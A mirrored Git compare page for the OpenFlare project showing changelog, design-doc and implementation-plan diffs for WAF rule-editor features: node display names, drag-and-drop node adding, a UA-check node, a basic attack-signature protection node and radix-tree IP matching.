mirror of
https://github.com/Rain-kl/OpenFlare.git
synced 2026-09-29 05:56:38 +08:00
Compare commits
28 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| e0398397a9 | |||
| fafee0055a | |||
| 6619f5b650 | |||
| a65d0f291b | |||
| c00ead9aa0 | |||
| 7366832e12 | |||
| 1a7e5e6c41 | |||
| 46ce7de513 | |||
| 39473cb370 | |||
| 64e40a7c18 | |||
| 53ddb45614 | |||
| ad6621fce9 | |||
| 60d6e3e846 | |||
| fd9348b7bd | |||
| 32113eb790 | |||
| 1ba05ec0bd | |||
| b75f985815 | |||
| db89f68547 | |||
| 74106474ca | |||
| 1d97ea69d0 | |||
| 53d9572508 | |||
| 8f3ff59567 | |||
| d47ceb9971 | |||
| 7476c86976 | |||
| 28eef0bbcd | |||
| 047ed6554d | |||
| b5e27fabde | |||
| 4166cc9861 |
+27
-4
@@ -11,16 +11,41 @@ sidebar: false
|
||||
## 重大变更
|
||||
|
||||
> [!IMPORTANT]
|
||||
>
|
||||
>
|
||||
> 3.1.2 版本更新了 CLickHouse 部署配置。
|
||||
>
|
||||
>
|
||||
> 3.0.0 版本为 Wavelet 平台迁移与架构重构版本,涉及数据库表结构、环境变量以及前后端底层架构的重大变更。请务必在升级前备份数据库,并且更新到 V2.3.4。
|
||||
> 目前已知的兼容性问题:
|
||||
>
|
||||
> - Pages 无法迁移, 升级前请先手动下载并备份 Pages 静态站点的 ZIP 包,升级后重新创建。
|
||||
> - 性能调优参数重置, 升级后请重新配置
|
||||
|
||||
## [unreleased]
|
||||
|
||||
## [v3.4.1] - 2026-07-19
|
||||
|
||||
### 新增
|
||||
|
||||
- WAF 规则编排新增「UA 检查」节点:可要求携带 User-Agent、按浏览器/操作系统白名单(且/或)匹配,并优先屏蔽常见爬虫、非正常 UA(不含爬虫)与自定义正则 UA。
|
||||
- WAF 规则编排新增「安全防护」节点:可开关路径穿越、文件包含、SQL 注入、XSS、命令注入、SSRF、恶意上传、XXE 与 CRLF 等基础特征检测;默认仅开启路径穿越与文件包含。
|
||||
|
||||
### 改进
|
||||
|
||||
- 新建反代规则时默认开启边缘缓存,策略为仅缓存标准静态资源。
|
||||
- 节点详情页 Tab 调整为「概览」与「状态与部署」:原数据看板并入概览;运行状态与配置信息并入状态与部署;边缘节点新增可自动填充 Server URL 与 Agent Token 的 Docker 部署命令卡片。
|
||||
- 节点详情「运行诊断」摘要不再展示具体错误日志,避免长日志撑破布局。
|
||||
- WAF 规则编辑器支持为节点自定义显示名称,并从节点库拖放到画布指定位置添加节点。
|
||||
- WAF 规则画布支持右键删除节点或连线,并屏蔽浏览器默认右键菜单。
|
||||
- WAF 规则编辑器支持一键格式化布局,按流程层次自动整理节点位置。
|
||||
- 优化边缘 WAF「安全防护」与「UA 检查」热路径:SQL/命令/XSS 等仅扫描 Query、Cookie、Referer 与有限 Body,避免对全部请求头做特征匹配;路径检测不再重复扫描完整 `request_uri`;无请求体时跳过 Body 读取;UA 分类仅小写一次并加速白名单匹配,显著降低开启基础防护时的 CPU 占用。
|
||||
- 优化边缘 WAF「IP 匹配」:IP 组与节点 IP/CIDR 在加载时编译为索引(优先随 Agent 下发的 `resty.ipmatcher` 基数树,否则 exact 哈希 + 预解析 CIDR),查询与名单规模解耦,避免大名单线性扫描打满 CPU。
|
||||
- Agent 内嵌 `resty.ipmatcher`,部署时不再依赖无效 opm 包。
|
||||
|
||||
### 修复
|
||||
|
||||
- 收紧 WAF 安全防护特征,降低对常见正常请求的误伤(含避免 SQL 特征 `/* */` 误匹配 `Accept: */*`)。
|
||||
- 优化 WAF 规则编辑器返回按钮、列表操作与属性栏布局体验。
|
||||
|
||||
## [v3.4.0] - 2026-07-19
|
||||
|
||||
### 新增
|
||||
@@ -77,7 +102,6 @@ sidebar: false
|
||||
|
||||
- 移除了 WAF 旧版固定名单与人机验证配置;升级后请在发布前使用新的可视化规则重新编排防护策略。
|
||||
|
||||
|
||||
## [v3.2.0] - 2026-07-12
|
||||
|
||||
### 新增
|
||||
@@ -164,7 +188,6 @@ sidebar: false
|
||||
- 网站管理拆分为域名、路由、静态托管、WAF 和缓存等独立能力,更适合维护复杂站点配置。
|
||||
- Tunnel 节点统一纳入节点管理,配置发布和运行状态查看更加一致。
|
||||
|
||||
|
||||
## [v2.3.4] - 2026-06-17
|
||||
|
||||
### 变更
|
||||
|
||||
@@ -15,9 +15,11 @@
|
||||
| 阻止 | 可创建多个 | 一个或多个 | 无 | HTTP 状态码、HTML 响应体 |
|
||||
| IP 匹配 | 可创建多个 | 一个或多个 | `true`、`false` | IP、CIDR、IP 组 ID |
|
||||
| 地域匹配 | 可创建多个 | 一个或多个 | `true`、`false` | 国家代码、地区代码 |
|
||||
| UA 检查 | 可创建多个 | 一个或多个 | `true`、`false` | 要求携带 UA、浏览器/OS 白名单与 and/or、屏蔽爬虫/非正常 UA(不含爬虫)/自定义正则 |
|
||||
| 安全防护 | 可创建多个 | 一个或多个 | `true`、`false` | 基础特征检测(路径穿越/文件包含默认开;SQL/XSS/命令注入/SSRF/上传/XXE/CRLF 可开关);命中任一已启用规则为 false |
|
||||
| PoW | 可创建多个 | 一个或多个 | `next` | 算法、难度、会话 TTL、挑战 TTL |
|
||||
|
||||
IP 匹配和地域匹配不区分黑名单或白名单。`true` 只表示请求匹配节点配置,`false` 只表示未匹配;放行或阻止的业务含义完全由连线决定。PoW 验证完成后沿 `next` 继续,未完成时由挑战页面接管当前请求,不产生 `false` 分支。
|
||||
IP 匹配、地域匹配、UA 检查与安全防护不区分黑名单或白名单。`true` 只表示请求通过该节点判定,`false` 只表示未通过;放行或阻止的业务含义完全由连线决定。UA 检查的求值顺序为:要求携带 UA → 屏蔽爬虫/非正常 UA → 白名单匹配。安全防护在请求 Path/Query/Header/Cookie/Body(有限)上做特征匹配。PoW 验证完成后沿 `next` 继续,未完成时由挑战页面接管当前请求,不产生 `false` 分支。
|
||||
|
||||
不在第一阶段实现循环、脚本节点、任意表达式节点、子图调用和跨规则跳转。
|
||||
|
||||
@@ -40,7 +42,7 @@ IP 匹配和地域匹配不区分黑名单或白名单。`true` 只表示请求
|
||||
* 图是有向无环图,禁止自环和任意循环。
|
||||
* 恰好存在一个开始节点和一个通过节点;阻止节点可以存在多个。
|
||||
* 开始节点无入边且恰好有一个 `next` 出口;通过和阻止节点无出口。
|
||||
* IP 匹配与地域匹配的 `true`、`false` 出口必须各连接一次;PoW 的 `next` 必须连接一次。
|
||||
* IP 匹配、地域匹配、UA 检查与安全防护的 `true`、`false` 出口必须各连接一次;PoW 的 `next` 必须连接一次。
|
||||
* 除终止节点外不得存在悬空出口;每个非开始节点至少有一条入边。
|
||||
* 所有节点都必须从开始节点可达,且从每个可执行节点出发都能抵达通过或阻止。
|
||||
* 边的源端口必须属于源节点类型;同一源端口不得连接多个目标。
|
||||
@@ -86,7 +88,7 @@ React Flow 编辑页采用全宽画布和固定右侧属性栏:
|
||||
|
||||
* 顶部提供返回、规则名称、启用状态、校验状态和保存操作。
|
||||
* 画布使用紧凑高度和较小的首次适配缩放,支持缩放、平移、框选、删除、自动布局和 MiniMap/Controls 等必要导航能力;节点拖动由 React Flow 本地受控状态实时处理,拖动结束后才把坐标写回编辑图。
|
||||
* “添加处理单元”提供 IP 匹配、地域匹配、PoW 和阻止;开始与通过由默认图提供且不可删除或重复添加。
|
||||
* “添加处理单元”提供 IP 匹配、地域匹配、UA 检查、安全防护、PoW 和阻止;开始与通过由默认图提供且不可删除或重复添加。
|
||||
* 选中普通节点或连线后可使用画布删除按钮或 Delete/Backspace 删除;删除节点时同步移除关联连线。
|
||||
* 右侧属性栏默认隐藏,选中节点后才显示并用于编辑配置;点击连线或画布空白处时收起。
|
||||
* 地域匹配属性使用完整国家与 ISO 3166-2 一级行政区数据;国家选项同时显示本地化名称与代码,行政区支持按国家名、行政区名或代码搜索,避免一次渲染数千个选项。
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
# WAF IP 匹配:Radix / lua-resty-ipmatcher
|
||||
|
||||
## 1. 目标与背景 (Goal & Context)
|
||||
|
||||
* **需求背景**:`ip_match` 对 IP 组 `ip_list` 做线性扫描,且每行强制 `ipv6_equal` + `ip_in_cidr`,大名单(订阅/自动规则可达万~十万级)时压测 RPS 约 65、OpenResty CPU 打满。
|
||||
* **开发范围 (Scope)**:
|
||||
* **必做**:边缘热路径改为预处理索引 + O(W) 查询;IP 组快照加载时编译;节点内联 `ips`/`cidrs` 同样编译;Agent 镜像安装 `lua-resty-ipmatcher`;规格与 changelog。
|
||||
* **Out of Scope**:控制面协议变更、改 IP 组存储格式、Geo 匹配优化。
|
||||
|
||||
## 2. 设计与决策 (Design & Decisions)
|
||||
|
||||
* **选型**:OpenResty 使用 `resty.ipmatcher`(底层 Radix,支持 IP 与 CIDR 统一;可用 `match_bin(binary_remote_addr)`)。
|
||||
* **编译时机**:
|
||||
* IP 组:`waf.ip_groups` 采纳新快照时为每组 `ip_list` 建 matcher,挂到 `group._matcher`。
|
||||
* 节点 `ips`/`cidrs`:首次匹配时合并列表建 matcher,用 weak 缓存或按 config 引用缓存。
|
||||
* **回退**:`require("resty.ipmatcher")` 失败时用纯 Lua「exact set + 预解析 CIDR」回退(测试 / 未装 opm 的本地 OpenResty),避免回归到每行 IPv6 全解析。
|
||||
* **不引入**:手写纯 Lua 十万节点 table 树作为生产主路径(内存与 GC 差)。
|
||||
|
||||
## 3. 具体修改文件清单 (Proposed Changes)
|
||||
|
||||
### 边缘 Agent 与 OpenResty
|
||||
|
||||
* #### [MODIFY] `docker/Dockerfile.agent`
|
||||
* **不**通过 OPM 安装 ipmatcher(`api7` 账号在 OPM 不存在)。
|
||||
* #### [NEW] `internal/apps/agent/nginx/resty/ipmatcher.lua`(vendor api7 v0.6.1)
|
||||
* 随 `ManagedWAFLuaFiles` 部署到 `<luaDir>/resty/ipmatcher.lua`,由 `lua_package_path` 加载。
|
||||
* #### [MODIFY] `internal/apps/agent/nginx/waf_runtime.lua`
|
||||
* 编译/查询 helper;重写 `matches_ip_values`。
|
||||
* #### [MODIFY] `internal/apps/agent/nginx/waf_ip_groups.lua`
|
||||
* 无需在刷新模块内编译;快照采纳后由 `waf.runtime` 惰性编译 `group._matcher`。
|
||||
* #### [MODIFY] `internal/apps/agent/nginx/waf_runtime_spec.lua` / `waf_ip_groups_spec.lua`
|
||||
* 覆盖 exact/CIDR/IPv6/组 miss;大名单语义 smoke。
|
||||
* #### [MODIFY] `docs/changelog/index.md`、相关设计/plan 备注
|
||||
|
||||
## 4. 验证计划 (Verification Plan)
|
||||
|
||||
* `go test ./internal/apps/agent/nginx/ -count=1`
|
||||
* 重建 Agent 镜像后压测:三组大名单 miss 路径 CPU/RPS 对比。
|
||||
@@ -0,0 +1,388 @@
|
||||
# WAF Editor Node Label + Drag-Add Implementation Plan
|
||||
|
||||
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||||
|
||||
**Goal:** Let users rename WAF rule nodes via optional `label`, and add nodes by dragging from the library onto the canvas drop position (no click-to-fixed-offset).
|
||||
|
||||
**Architecture:** Frontend-only. Align TS `WAFRuleNode` with backend `label`. Pure helpers for display name and default node factory. Node library is drag source; React Flow pane handles drop with `screenToFlowPosition`. Properties panel edits `label` for non-system nodes.
|
||||
|
||||
**Tech Stack:** Next.js App Router, React, TypeScript, `@xyflow/react`, Vitest + Testing Library, shadcn/ui.
|
||||
|
||||
**Spec:** `docs/superpowers/specs/2026-07-19-waf-editor-node-label-drag-design.md`
|
||||
|
||||
## Global Constraints
|
||||
|
||||
- No backend / schema_version / note field changes.
|
||||
- System nodes `start` / `allow`: no rename UI.
|
||||
- New nodes: no default `label` (type name shown).
|
||||
- Drag-only add; remove click-add.
|
||||
- After code: relevant vitest pass; run `make prettier` / `make code-check` if touching repo gates.
|
||||
|
||||
## File Map
|
||||
|
||||
| File | Role |
|
||||
|------|------|
|
||||
| `frontend/lib/services/openflare/types.ts` | Add `label?: string` to all `WAFRuleNode` variants |
|
||||
| `frontend/app/(main)/waf/rules/editor/components/node-factory.ts` | `NODE_TYPE_LABELS`, `displayNodeTitle`, `createRuleNode`, drag MIME constant |
|
||||
| `frontend/app/(main)/waf/rules/editor/components/node-factory.test.ts` | Unit tests for title + factory |
|
||||
| `frontend/app/(main)/waf/rules/editor/components/rule-node.tsx` | Use `displayNodeTitle` |
|
||||
| `frontend/app/(main)/waf/rules/editor/components/node-properties.tsx` | 「显示名称」Input |
|
||||
| `frontend/app/(main)/waf/rules/editor/components/node-properties.test.tsx` | Label edit + system node |
|
||||
| `frontend/app/(main)/waf/rules/editor/components/node-library.tsx` | Draggable items, no onClick |
|
||||
| `frontend/app/(main)/waf/rules/editor/components/rule-flow-canvas.tsx` | Drop handler + position-aware create |
|
||||
|
||||
---
|
||||
|
||||
### Task 1: Types + pure helpers
|
||||
|
||||
**Files:**
|
||||
- Modify: `frontend/lib/services/openflare/types.ts`
|
||||
- Create: `frontend/app/(main)/waf/rules/editor/components/node-factory.ts`
|
||||
- Create: `frontend/app/(main)/waf/rules/editor/components/node-factory.test.ts`
|
||||
|
||||
**Interfaces:**
|
||||
- Produces: `WAF_NODE_DRAG_MIME`, `AddableNodeType`, `NODE_TYPE_LABELS`, `displayNodeTitle(node)`, `createRuleNode(type, position)`
|
||||
|
||||
- [ ] **Step 1: Add `label?: string` to every `WAFRuleNode` union member** in `types.ts`.
|
||||
|
||||
- [ ] **Step 2: Write failing tests** in `node-factory.test.ts`:
|
||||
|
||||
```ts
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
createRuleNode,
|
||||
displayNodeTitle,
|
||||
NODE_TYPE_LABELS,
|
||||
} from './node-factory';
|
||||
|
||||
describe('displayNodeTitle', () => {
|
||||
it('uses trimmed label when present', () => {
|
||||
expect(
|
||||
displayNodeTitle({
|
||||
id: 'x',
|
||||
type: 'ip_match',
|
||||
label: ' 办公室 ',
|
||||
position: { x: 0, y: 0 },
|
||||
config: { ips: [], cidrs: [], ip_group_ids: [] },
|
||||
}),
|
||||
).toBe('办公室');
|
||||
});
|
||||
|
||||
it('falls back to type default when label empty', () => {
|
||||
expect(
|
||||
displayNodeTitle({
|
||||
id: 'x',
|
||||
type: 'block',
|
||||
label: ' ',
|
||||
position: { x: 0, y: 0 },
|
||||
config: { status_code: 403, response_body: '' },
|
||||
}),
|
||||
).toBe(NODE_TYPE_LABELS.block);
|
||||
});
|
||||
});
|
||||
|
||||
describe('createRuleNode', () => {
|
||||
it('creates typed node at position without label', () => {
|
||||
const node = createRuleNode('pow', { x: 12, y: 34 });
|
||||
expect(node.type).toBe('pow');
|
||||
expect(node.position).toEqual({ x: 12, y: 34 });
|
||||
expect(node.label).toBeUndefined();
|
||||
expect(node.id.startsWith('pow-')).toBe(true);
|
||||
if (node.type === 'pow') {
|
||||
expect(node.config).toEqual({
|
||||
algorithm: 'fast',
|
||||
difficulty: 4,
|
||||
session_ttl: 3600,
|
||||
challenge_ttl: 300,
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
- [ ] **Step 3: Implement `node-factory.ts`**
|
||||
|
||||
```ts
|
||||
import type { WAFRuleNode } from '@/lib/services/openflare';
|
||||
|
||||
export const WAF_NODE_DRAG_MIME = 'application/openflare-waf-node';
|
||||
|
||||
export type AddableNodeType = Extract<
|
||||
WAFRuleNode['type'],
|
||||
'ip_match' | 'geo_match' | 'pow' | 'block'
|
||||
>;
|
||||
|
||||
export const NODE_TYPE_LABELS: Record<WAFRuleNode['type'], string> = {
|
||||
start: '开始',
|
||||
ip_match: 'IP 匹配',
|
||||
geo_match: '地域匹配',
|
||||
pow: 'PoW 挑战',
|
||||
allow: '通过',
|
||||
block: '阻止',
|
||||
};
|
||||
|
||||
export function displayNodeTitle(
|
||||
node: Pick<WAFRuleNode, 'type' | 'label'>,
|
||||
): string {
|
||||
const custom = node.label?.trim();
|
||||
return custom || NODE_TYPE_LABELS[node.type];
|
||||
}
|
||||
|
||||
export function createRuleNode(
|
||||
type: AddableNodeType,
|
||||
position: { x: number; y: number },
|
||||
): WAFRuleNode {
|
||||
const id = `${type}-${crypto.randomUUID().slice(0, 8)}`;
|
||||
if (type === 'ip_match')
|
||||
return {
|
||||
id,
|
||||
type,
|
||||
position,
|
||||
config: { ips: [], cidrs: [], ip_group_ids: [] },
|
||||
};
|
||||
if (type === 'geo_match')
|
||||
return { id, type, position, config: { countries: [], regions: [] } };
|
||||
if (type === 'pow')
|
||||
return {
|
||||
id,
|
||||
type,
|
||||
position,
|
||||
config: {
|
||||
algorithm: 'fast',
|
||||
difficulty: 4,
|
||||
session_ttl: 3600,
|
||||
challenge_ttl: 300,
|
||||
},
|
||||
};
|
||||
return {
|
||||
id,
|
||||
type: 'block',
|
||||
position,
|
||||
config: { status_code: 403, response_body: '' },
|
||||
};
|
||||
}
|
||||
|
||||
export function parseAddableNodeType(value: string): AddableNodeType | null {
|
||||
if (
|
||||
value === 'ip_match' ||
|
||||
value === 'geo_match' ||
|
||||
value === 'pow' ||
|
||||
value === 'block'
|
||||
)
|
||||
return value;
|
||||
return null;
|
||||
}
|
||||
```
|
||||
|
||||
- [ ] **Step 4: Run tests**
|
||||
|
||||
```bash
|
||||
cd frontend && pnpm vitest run 'app/(main)/waf/rules/editor/components/node-factory.test.ts'
|
||||
```
|
||||
|
||||
Expected: PASS
|
||||
|
||||
- [ ] **Step 5: Commit**
|
||||
|
||||
```bash
|
||||
git add frontend/lib/services/openflare/types.ts \
|
||||
frontend/app/(main)/waf/rules/editor/components/node-factory.ts \
|
||||
frontend/app/(main)/waf/rules/editor/components/node-factory.test.ts
|
||||
git commit -m "feat(waf): add node label type and factory helpers"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 2: Canvas title + properties label field
|
||||
|
||||
**Files:**
|
||||
- Modify: `frontend/app/(main)/waf/rules/editor/components/rule-node.tsx`
|
||||
- Modify: `frontend/app/(main)/waf/rules/editor/components/node-properties.tsx`
|
||||
- Modify: `frontend/app/(main)/waf/rules/editor/components/node-properties.test.tsx`
|
||||
|
||||
- [ ] **Step 1: Tests for properties**
|
||||
|
||||
Add to `node-properties.test.tsx`:
|
||||
|
||||
```ts
|
||||
it('edits display name for configurable nodes', () => {
|
||||
const node: WAFRuleNode = {
|
||||
id: 'match',
|
||||
type: 'ip_match',
|
||||
position: { x: 0, y: 0 },
|
||||
config: { ips: [], cidrs: [], ip_group_ids: [] },
|
||||
};
|
||||
const onChange = vi.fn();
|
||||
render(<NodeProperties node={node} ipGroups={[]} onChange={onChange} />);
|
||||
fireEvent.change(screen.getByLabelText('显示名称'), {
|
||||
target: { value: '内网放行' },
|
||||
});
|
||||
expect(onChange).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ label: '内网放行' }),
|
||||
);
|
||||
});
|
||||
|
||||
it('hides display name for system nodes', () => {
|
||||
const node: WAFRuleNode = {
|
||||
id: 'start',
|
||||
type: 'start',
|
||||
position: { x: 0, y: 0 },
|
||||
config: {},
|
||||
};
|
||||
render(<NodeProperties node={node} ipGroups={[]} onChange={vi.fn()} />);
|
||||
expect(screen.queryByLabelText('显示名称')).not.toBeInTheDocument();
|
||||
expect(screen.getByText('系统节点无需配置。')).toBeInTheDocument();
|
||||
});
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Implement properties field** — at start of each configurable `FieldGroup` (or wrap once before type switch for non-system):
|
||||
|
||||
Prefer extract:
|
||||
|
||||
```tsx
|
||||
function DisplayNameField({
|
||||
node,
|
||||
onChange,
|
||||
}: {
|
||||
node: WAFRuleNode;
|
||||
onChange: (node: WAFRuleNode) => void;
|
||||
}) {
|
||||
return (
|
||||
<Field>
|
||||
<FieldLabel htmlFor={`${node.id}-label`}>显示名称</FieldLabel>
|
||||
<Input
|
||||
id={`${node.id}-label`}
|
||||
value={node.label ?? ''}
|
||||
placeholder={/* type default from NODE_TYPE_LABELS */}
|
||||
onChange={(e) => onChange({ ...node, label: e.target.value })}
|
||||
/>
|
||||
</Field>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
Insert `<DisplayNameField ... />` as first child inside each non-system `FieldGroup`.
|
||||
|
||||
- [ ] **Step 3: `rule-node.tsx`** — use `displayNodeTitle(rule)` for main title; keep icon from meta; keep id subtitle.
|
||||
|
||||
- [ ] **Step 4: Run tests**
|
||||
|
||||
```bash
|
||||
cd frontend && pnpm vitest run 'app/(main)/waf/rules/editor/components/node-properties.test.tsx' 'app/(main)/waf/rules/editor/components/node-factory.test.ts'
|
||||
```
|
||||
|
||||
Expected: PASS
|
||||
|
||||
- [ ] **Step 5: Commit**
|
||||
|
||||
```bash
|
||||
git add frontend/app/(main)/waf/rules/editor/components/rule-node.tsx \
|
||||
frontend/app/(main)/waf/rules/editor/components/node-properties.tsx \
|
||||
frontend/app/(main)/waf/rules/editor/components/node-properties.test.tsx
|
||||
git commit -m "feat(waf): show and edit rule node display names"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 3: Drag library + canvas drop
|
||||
|
||||
**Files:**
|
||||
- Modify: `frontend/app/(main)/waf/rules/editor/components/node-library.tsx`
|
||||
- Modify: `frontend/app/(main)/waf/rules/editor/components/rule-flow-canvas.tsx`
|
||||
- Create (optional pure tests): extend `node-factory.test.ts` for `parseAddableNodeType`
|
||||
|
||||
- [ ] **Step 1: Node library** — remove `onAdd` prop; make each button `draggable` with:
|
||||
|
||||
```tsx
|
||||
onDragStart={(e) => {
|
||||
e.dataTransfer.setData(WAF_NODE_DRAG_MIME, type);
|
||||
e.dataTransfer.setData('text/plain', type);
|
||||
e.dataTransfer.effectAllowed = 'copy';
|
||||
}}
|
||||
```
|
||||
|
||||
Use `type='button'` + cursor `cursor-grab active:cursor-grabbing`. No `onClick` that adds nodes.
|
||||
|
||||
- [ ] **Step 2: Canvas** — replace `addNode(type)` fixed position with:
|
||||
|
||||
```ts
|
||||
const addNodeAt = useCallback(
|
||||
(type: AddableNodeType, position: { x: number; y: number }) => {
|
||||
const node = createRuleNode(type, position);
|
||||
onGraphChange({ ...graph, nodes: [...graph.nodes, node] });
|
||||
onSelectEdge(undefined);
|
||||
onSelect(node.id);
|
||||
},
|
||||
[graph, onGraphChange, onSelect, onSelectEdge],
|
||||
);
|
||||
|
||||
const onDragOver = useCallback((e: React.DragEvent) => {
|
||||
e.preventDefault();
|
||||
e.dataTransfer.dropEffect = 'copy';
|
||||
}, []);
|
||||
|
||||
const onDrop = useCallback(
|
||||
(e: React.DragEvent) => {
|
||||
e.preventDefault();
|
||||
const raw =
|
||||
e.dataTransfer.getData(WAF_NODE_DRAG_MIME) ||
|
||||
e.dataTransfer.getData('text/plain');
|
||||
const type = parseAddableNodeType(raw);
|
||||
if (!type || !instance.current) return;
|
||||
const position = instance.current.screenToFlowPosition({
|
||||
x: e.clientX,
|
||||
y: e.clientY,
|
||||
});
|
||||
addNodeAt(type, position);
|
||||
},
|
||||
[addNodeAt],
|
||||
);
|
||||
```
|
||||
|
||||
Pass `onDragOver` / `onDrop` to `<ReactFlow ...>` (xyflow supports these on the component).
|
||||
|
||||
Update `<NodeLibrary />` — no `onAdd`.
|
||||
|
||||
- [ ] **Step 3: Run editor-related tests**
|
||||
|
||||
```bash
|
||||
cd frontend && pnpm vitest run 'app/(main)/waf/rules/editor'
|
||||
```
|
||||
|
||||
Expected: PASS (update any tests that assumed click-add)
|
||||
|
||||
- [ ] **Step 4: Format + commit**
|
||||
|
||||
```bash
|
||||
make prettier
|
||||
git add frontend/app/(main)/waf/rules/editor
|
||||
git commit -m "feat(waf): drag-drop nodes onto rule canvas at cursor"
|
||||
```
|
||||
|
||||
- [ ] **Step 5: Changelog** — under `docs/changelog/index.md` `[Unreleased]`:
|
||||
|
||||
```md
|
||||
### 改进
|
||||
- WAF 规则编辑器支持为节点自定义显示名称,并从节点库拖放到画布指定位置添加节点。
|
||||
```
|
||||
|
||||
```bash
|
||||
git add docs/changelog/index.md
|
||||
git commit -m "docs(changelog): WAF 编辑器节点命名与拖放添加"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Spec coverage
|
||||
|
||||
| Spec item | Task |
|
||||
|-----------|------|
|
||||
| `label?` on TS types | 1 |
|
||||
| Display title fallback | 1–2 |
|
||||
| Properties 显示名称 | 2 |
|
||||
| System nodes no rename | 2 |
|
||||
| Drag-only library | 3 |
|
||||
| Drop at cursor | 3 |
|
||||
| No note / backend | N/A (omitted) |
|
||||
| Tests | 1–3 |
|
||||
| Changelog | 3 |
|
||||
@@ -0,0 +1,42 @@
|
||||
# WAF UA Check Node Implementation Plan
|
||||
|
||||
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||||
|
||||
**Goal:** Add WAF graph node `ua_check` (require UA, browser/OS whitelist with and/or, bot/abnormal blocks) end-to-end: validate/compile, Lua runtime, editor UI.
|
||||
|
||||
**Architecture:** Match-node pattern like `geo_match`. Control plane stores `UACheckConfig`; edge classifies `http_user_agent` with analytics-equivalent token rules; evaluation order: require → block bots → block abnormal → whitelist.
|
||||
|
||||
**Tech Stack:** Go (waf package), Lua (OpenResty waf_runtime), React/TS editor, Vitest, Go tests.
|
||||
|
||||
**Spec:** `docs/superpowers/specs/2026-07-19-waf-ua-check-node-design.md`
|
||||
|
||||
## Global Constraints
|
||||
|
||||
- Type `ua_check`; handles `true`/`false`.
|
||||
- Config fields: `require_ua`, `browsers`, `operating_systems`, `match_mode` (`and`|`or`, default `or`), `block_common_bots`, `block_abnormal_ua`.
|
||||
- Closed enums for browser/OS labels matching analytics.
|
||||
- Block before whitelist; empty lists = no whitelist constraint.
|
||||
- No schema_version bump; no new HTTP API.
|
||||
- Changelog + Chinese design doc update.
|
||||
|
||||
## File Map
|
||||
|
||||
| File | Role |
|
||||
|------|------|
|
||||
| `internal/apps/openflare/waf/graph_types.go` | Type + config |
|
||||
| `internal/apps/openflare/waf/graph_validate.go` | Validate + handles |
|
||||
| `internal/apps/openflare/waf/graph_compile.go` | Compile normalize |
|
||||
| `internal/apps/openflare/waf/*_test.go` | Go tests |
|
||||
| `internal/apps/agent/nginx/waf_runtime.lua` | Runtime eval |
|
||||
| `internal/apps/agent/nginx/waf_runtime_spec.lua` | Lua specs |
|
||||
| `internal/apps/agent/nginx/manager_test.go` | Embed smoke if needed |
|
||||
| Frontend editor components + types | UI |
|
||||
| `docs/design/waf-orchestration-design.md` | Node table |
|
||||
| `docs/changelog/index.md` | Unreleased |
|
||||
|
||||
### Task 1: Backend types/validate/compile
|
||||
### Task 2: Lua runtime + specs
|
||||
### Task 3: Frontend editor
|
||||
### Task 4: Docs + gates
|
||||
|
||||
(Detailed code follows during implementation; execute TDD per layer.)
|
||||
@@ -0,0 +1,122 @@
|
||||
# WAF 规则编辑器:节点命名与拖放添加
|
||||
|
||||
日期:2026-07-19
|
||||
范围:`/waf/rules/editor` 前端交互与类型对齐
|
||||
状态:已确认,待实现
|
||||
|
||||
## 背景
|
||||
|
||||
当前 WAF 规则流图编辑器有两处体验问题:
|
||||
|
||||
1. 画布节点只显示类型固定名称(如「IP 匹配」),无法自定义命名,复杂规则难以区分。
|
||||
2. 节点库通过点击添加,新节点落在固定偏移位置(`x: 240, y: 140 + n*24`),无法在目标位置放置。
|
||||
|
||||
后端 `RuleNode` 已具备 `label` 字段(`json:"label,omitempty"`),前端类型与 UI 尚未消费。
|
||||
|
||||
## 目标
|
||||
|
||||
1. 用户可为可编辑节点自定义**显示名称**(`label`),画布与属性栏一致展示。
|
||||
2. 从节点库**拖放到画布**,在鼠标松手处生成节点;**取消点击固定位置添加**。
|
||||
3. 不做备注字段、不做拖到连线中插入、不改后端 schema / `schema_version`。
|
||||
|
||||
## 非目标
|
||||
|
||||
- 节点备注 / note / remark
|
||||
- 拖到边自动拆边插入
|
||||
- 系统节点 `start` / `allow` 可改名
|
||||
- 后端校验、编译或运行时语义变更
|
||||
- 侧栏式节点库大改版
|
||||
|
||||
## 数据模型
|
||||
|
||||
### 后端(已有,不改)
|
||||
|
||||
```go
|
||||
type RuleNode struct {
|
||||
ID string `json:"id"`
|
||||
Type RuleNodeType `json:"type"`
|
||||
Label string `json:"label,omitempty"`
|
||||
Position RulePosition `json:"position"`
|
||||
Config json.RawMessage `json:"config"`
|
||||
}
|
||||
```
|
||||
|
||||
`label` 为空则 omit;现有大小限制与图校验保持不变。
|
||||
|
||||
### 前端
|
||||
|
||||
`WAFRuleNode` 各变体增加可选字段:
|
||||
|
||||
```ts
|
||||
label?: string;
|
||||
```
|
||||
|
||||
- 保存时:空字符串不写入或写 `undefined`,与 `omitempty` 对齐。
|
||||
- 显示时:`label?.trim() || typeDefaultLabel`。
|
||||
- 新建节点:不设 `label`(显示类型默认名)。
|
||||
- `start` / `allow`:属性栏仍为「系统节点无需配置」,不提供改名输入;若历史数据带 `label`,画布仍可按上述规则显示,但不提供编辑入口。
|
||||
|
||||
## UI 行为
|
||||
|
||||
### 画布节点(`rule-node.tsx`)
|
||||
|
||||
| 区域 | 行为 |
|
||||
|------|------|
|
||||
| 主标题 | `label` 去空白后非空则用 `label`,否则用类型默认中文名 |
|
||||
| 副标题 | 仍显示 `rule.id`(mono 小字) |
|
||||
| 图标 / handle | 不变 |
|
||||
|
||||
### 属性栏(`node-properties.tsx`)
|
||||
|
||||
对非系统节点(`ip_match` | `geo_match` | `pow` | `block`),在类型专属配置**之上**增加:
|
||||
|
||||
- 字段标签:`显示名称`
|
||||
